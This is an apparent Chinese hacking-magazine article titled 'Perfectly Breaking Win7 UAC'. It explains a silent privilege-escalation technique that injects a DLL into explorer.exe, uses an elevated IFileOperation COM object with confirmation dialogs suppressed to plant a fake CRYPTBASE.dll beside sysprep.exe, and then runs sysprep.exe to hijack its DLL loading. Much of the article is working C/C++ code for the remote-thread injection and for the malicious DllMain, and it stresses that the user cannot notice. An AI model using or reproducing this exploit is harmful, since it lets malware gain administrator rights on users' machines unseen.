完美突破Win7 UAC
前置知识:无
关键词:无
图/文 zyrvsfei
微软在Vista及其后的系统中,加入了一项新的技术,即UAC(User Account Control,用户账户控制),它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。当以非administrator用户执行程序的时候,默认都是普通权限,只有以administrator账户运行才是管理员权限。如,向Windows文件夹和program files文件夹复制文件默认情况下都是不允许的,除非你提权。微软的UAC真的那么完美吗?有突破的方法吗?下文介绍一种完美突破UAC的方法,用户完全无法发觉(排除杀软干扰)。
鉴于Vista的UAC糟糕设计,微软在Win7系统重新设计了UAC,让UAC提示少了很多。所以微软提供了几组组件绕过UAC。这几个组件都要用到。具体有4点,简单介绍一下。
1.某些程序在运行时直接获得管理员权限,UAC不会提示。虽然微软并没有提供白名单功能,但是系统内部应该存在微软自己设置的白名单。
2.某些特定进程可以创建特定的COM对象,且不会出现UAC提示。虽然进程并没有提升权限,但是我们可以用创建的COM对象做需要管理员权限才能做的事情。
3.某些需要权限才能创建的COM对象(IFileOperation)。这些对象如果被创建成功,就具有admin权限了。
4.在Win7默认启用的一个特性,这个特性并不检测需要提权的代码的出处它只检测这段代码运行在哪个进程内。且子进程与父进程有相同的权限。
还有一点,不属于UAC的范畴,在本方法突破UAC必不可少。程序在加载dll时候会遵循一个规则:如果被加载的dll在系统“Known dlls”列表中,那么直接从System32目录查询文件,如果不在“Known Dlls”中,就优先从当前目录查询。
我们要找到这样一个程序:在启动的时候就能获得高权限(符合第一点),并且目标程序加载的dll不在“Known Dlls”列表中,然后,我们将特殊的dll复制到目标程序所在的目录中并改为目标程序加载的dll的文件名,再运行目标程序,这时特殊的dll就会被加载。而这样的程序一般在system32目录及其子目录下, System32目录就不用想了,因为即使找到了符合要求的程序,其加载的dll必定在System32目录下,你必须要删除它加载的dll,然后复制特殊的dll到System32目录下并改名。但是,即使有了高权限,你也无法删除System32目录下的系统dll文件。所以目标程序只能在System32的子目录下。还好有个完全符合要求的程序: c:\Windows\System32\sysprep\sysprep.exe,其加载的dll是CRYPTBASE.dll,这个DLL不在“Known dlls”列表中。
在普通权限下,是没有权限往系统目录中写文件(创建文件夹可以)。现在我们的主要目标是将CRYPTBASE.dll复制到c:\Windows\system32\sysprp\sysprp. exe目录下。
结合第二点和第三点,有个方法可以满足我们的需求。我们可以创建IFileOperation这个COM对象来实现文件的复制,但是这样会弹出UAC提示,显然,弹出UAC不是我们想要的结果。第二点说过,一些特定的进程创建COM对象的时候,不会弹出UAC提示。我发现,这些进程一般是微软提供的explorer.exe,taskmgr.exe,notepad.exe等系统程序。
结合上面说的,我们就可以完美突破Win7的UAC了。具体的方法是:注入explorer.exe(或者taskmgr.exe等程序),让其创建IFileOperation对象并操作IFileOperation对象将特殊的dll复制到c:\Windows\System32\sysprp目录下,并改名为CRYPTBASE.dll,之后运行c:\Windows\System32\sysprp\ sysprp.exe,这个程序会主动加载CRYPTBASE.dll,我们完全可以编写个CRYPTBASE.dll(即特殊的DLL)中,由于是sysprep.exe 加载的dll,所以这个dll拥有管理员的权限。就可以突破UAC了,不会有任何提示,完全静默的。
首先,我们要注入到explorer.exe中,可以用创建远程线程和dll注入结合的方法。创建远程线程加载我们的DLL,我注入的dll的文件名是mydll.dll。主程序的功能是注入代码,具体的见附件中的uacpass2工程,其主要代码如下:
[code] typedef struct _inj { pLoadLibraryW myloadlibraryw;//LoadLibraryW函数 的地址 pFreeLibrary myfreelibrary; //FreeLibrary函数的地址 wchar_t * szFullDllName; //要注入的DLL的绝对路径 }inj,*pinj; 这里是一些变量的声明,这里就省略了 …… …… //查找explorer进程,并且以PROCESS_ALL_ACCESS的 权限打开 hSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPR OCESS,0); if(hSnap==INVALID_HANDLE_VALUE) { return 0; } if(FALSE==Process32First(hSnap,&pey)) return 0; do { if(NULL==wcscmp(L"explorer.exe",(const wchar_t *) &pey.szExeFile)) { if(NULL==(hproc=OpenProcess(PROCESS_ALL_ACCES S,FALSE,pey.th32ProcessID))) return 0; else break; } } while (Process32Next(hSnap,&pey)); hKernel=GetModuleHandle(L"Kernel32.dll"); //填充myinj1结构 myinj1.myloadlibraryw=(pLoadLibraryW)GetProcAdd ress(hKernel,"LoadLibraryW"); myinj1.myfreelibrary=(pFreeLibrary)GetProcAddress( hKernel,"FreeLibrary"); //获取mydll.dll的绝对路径,mydll.dll和本程序在同一 目录下 GetCurrentDirectoryW(sizeof(szbuffer),szbuffer); wcscat(szbuffer,L"\\mydll.dll"); //将 mydll.dll的绝对路径写入explorer.exe进程的内 存中,并且保存地址 myinj1.szFullDllName=(wchar_t*)VirtualAllocEx(hpr oc,0,(wcslen(szbuffer)+1)*sizeof(wchar_t),MEM_COMMIT | PAGE_READ WRITE,PAGE_EXECUTE_READWRITE); WriteProcessMemory(hproc,myinj1.szFullDllName,sz buffer,(wcslen(szbuffer)+1)*sizeof(wchar_t),&length); //将myinj1结构写入explorer.exe进程内存中,这个 结构保存了LoadLibraryW和FreeLibrary函数的地址 lpparamter=VirtualAllocEx(hproc,0,sizeof(inj),MEM COMMIT | PAGE_READWRITE,PAGE_EXECUTE_READWRITE); WriteProcessMemory(hproc,lpparamter,&myinj1,sizeo f(inj),&length); //将注入的代码写入Explorer.exe进程内存中,注入 的代码主要功能就是加载mydll.dll并且在加载后free. pstart=VirtualAllocEx(hproc,0, (SIZE_T)&RemoteEnd-(SIZE_T)&RemoteStart,MEM_COMMIT | PAGE_READWRITE,PAGE_ EXECUTE_READWRITE); WriteProcessMemory(hproc,pstart,&RemoteStart,(SIZ E_T)&RemoteEnd-(SIZE_T)&RemoteStart,&length); //在Explorer.exe中创建线程 CreateRemoteThread(hproc,0,0,(LPTHREAD_START _ROUTINE)pstart,lpparamter,0,0); [/code] 下面我们看看RemoteStart的代码: [code] static void RemoteStart(PVOID lpparamter) { pinj pminj; HMODULE hlib; pminj=(pinj)lpparamter; //lpparamter指向inj结构体 hlib=0; hlib=pminj->myloadlibraryw(pminj->szFullDllName); pminj->myfreelibrary(hlib); } [/code]
接下来就是在mydll.dll中创建IFileOperation对象,并且操作它复制文件了,然后运行sysprep.exe来加载特殊的CRYPTBASE.dll。附件中的mydll工程如下:
[code] BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: //表示DLL被加载 { BIND_OPTS3 bo; IFileOperation * ifop=0; IShellItem *pIstsou=0; IShellItem *pIstdes=0; IShellItem *pIstdel=0; SHELLEXECUTEINFO seinfo={0}; wchar_t szMyFull[128]={0}; //以单线程的方式创建COM对象 CoInitialize(NULL); //有时候CoGetobject通过命名绑定创建COM对象并 不会成功,则要调用CoCreateInstance创建COM对象。 if(S_OK==CoCreateInstance(__uuidof(FileOperation), 0,CLSCTX_LOCAL_SERVER|CLSCTX_INPROC_SERVER| CLSCTX_INPROC_HANDLER,__uuidof(IFileOperation),(voi d**)&ifop) || S_OK==CoGetObject(L"Elevation:Administrator!new: {3ad05575-8857-4850-9277-11b85bdb8e09}",&bo,__uuidof(IF ileOperation),(void**)&ifop)) /*设置IFlieOperation的Flag,这个参数很重要 用IFileOperation这个COM对象来操作文件, 和EXPLOERE.exe效果一样,复制文件的时候,当文件已经 存在,会弹框请求是否覆盖,当要提权的时候,也会请求 是否继续。所以要通过设置Flags让这些对话框都不显示出来, 即静默。 FOF_NOCONFIRMATION 对于对话框,全部选 择是 FOF_SILENT 不显示进度条 FOFX_REQUIREELEVATION 用户期望提升 权限,不显示对话框*/ if(S_OK==ifop->SetOperationFlags(FOF_NOCO NFIRMATION | FOF_SILENT | FOFX_REQUIREELEVATION )) //复制e:\mycryptbase.dll到c:\\windows\\system32 \\sysprep目录下并改名为CRYPTBASE.dll if(S_OK==SHCreateItemFromParsingName (L"e:\\my CRYPTBASE.dll",0,__uuidof(IShellItem),(void **)&pIstsou)) if(S_OK==SHCreateItemFromParsingName(L"c:\\win dows\\system32\\sysprep",0,__uuidof(IShellItem),(void **)&pIstdes)) if(S_OK==ifop->CopyItem(pIstsou,pIstdes,L"CRYPTBASE .dll",0)) if(S_OK==ifop->PerformOperations()) //执行操作 { //调用shellexecuteexw系统函数来运行 sysprep.exe seinfo.cbSize=sizeof(SHELLEXECUTEINFO); seinfo.fMask=SEE_MASK_NOCLOSEP ROCESS; seinfo.lpFile=L"c:\\windows\\system32\\ sysprep\\sysprep.exe"; seinfo.lpDirectory=0; seinfo.nShow=SW_HIDE; //隐藏程 序窗口 seinfo.lpParameters=0; if(ShellExecuteExW(&seinfo) && seinfo. hProcess) { WaitForSingleObject(seinfo.hProcess,INFINITE); } //等待sysprep.exe执行完毕,删除目录下的 CRYPTB ASE.dll文件 if(S_OK==SHCreateItemFromParsingName(L"c:\\ windows\\system32\\sysprep\\CRYPTBASE.dll",0,__uuidof(IShellIt em),(void**)&pIstdel)) { if(S_OK==ifop->DeleteItem(pIstdel,0)) ifop->PerformOperations(); } } if(pIstdel) pIstdel->Release(); if(pIstdes) pIstdes->Release(); if(pIstdes) pIstdes->Release(); if(ifop) ifop->Release(); } break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
这时在CRYPTBASE.dll中,我们就拥有管理员权限。本示例中,myCRYPTBASE.dll启动12.exe的测试程序,这个测试程序试图在system32目录下创建hack.txt文件。由于CRYPTBASE.dll是我们自己编写的dll,sysprep在加载后,会弹框提示用户加载错误,所以在启动12.exe后DLL_PROCESS_ATTACH返回前调用ExitProcess来结束 sysprep.exe。由于sysprep.exe是以管理员权限运行的,而由于Win7的特性,参考上面的第4点,所以dll也是管理员权限,dll执行createprocess创建的子进程也是管理员权限(即12.exe)。
下面是演示效果,由于杀软都拦截了CreateRemoteThread这个函数,所以在创建远程线程的时候,杀软会有提示。将myCRYPTBASE.dll放在e盘的根目录下,将测试程序12.exe放在c盘的根目录下。之后运行uacpass2.exe(确保mydll.dll与uacpass2在同一个目录下)。
在UAC开启的情况下,直接运行12.exe是会提示打开失败,如图1所示。
图1
现在运行uacpass2.exe,效果如图2所示。
图2
总结
微软下面的几点导致这个UAC突破方法的产生。
1.对explorer等进程的特殊照顾,否则注入explorer创建IFileOperation会弹出UAC提示。
2.对CRYPTBASE.dll的疏忽,因为这个dll不在“Known dlls”目录中,才会让人有机可乘。
3.UAC需要提权时候的检测不严格,dll中有跟宿主一样的权限。
当然微软做的这些都是因为减少UAC的提示次数,否则大家将会用对待Vista的态度来对待Win7,关闭UAC。
本文的所有代码在vs2010中通过编译,在Win7(旗舰版,专业版)通过测试。
(编辑提醒:本文涉及的代码可以到黑防官方网站下载)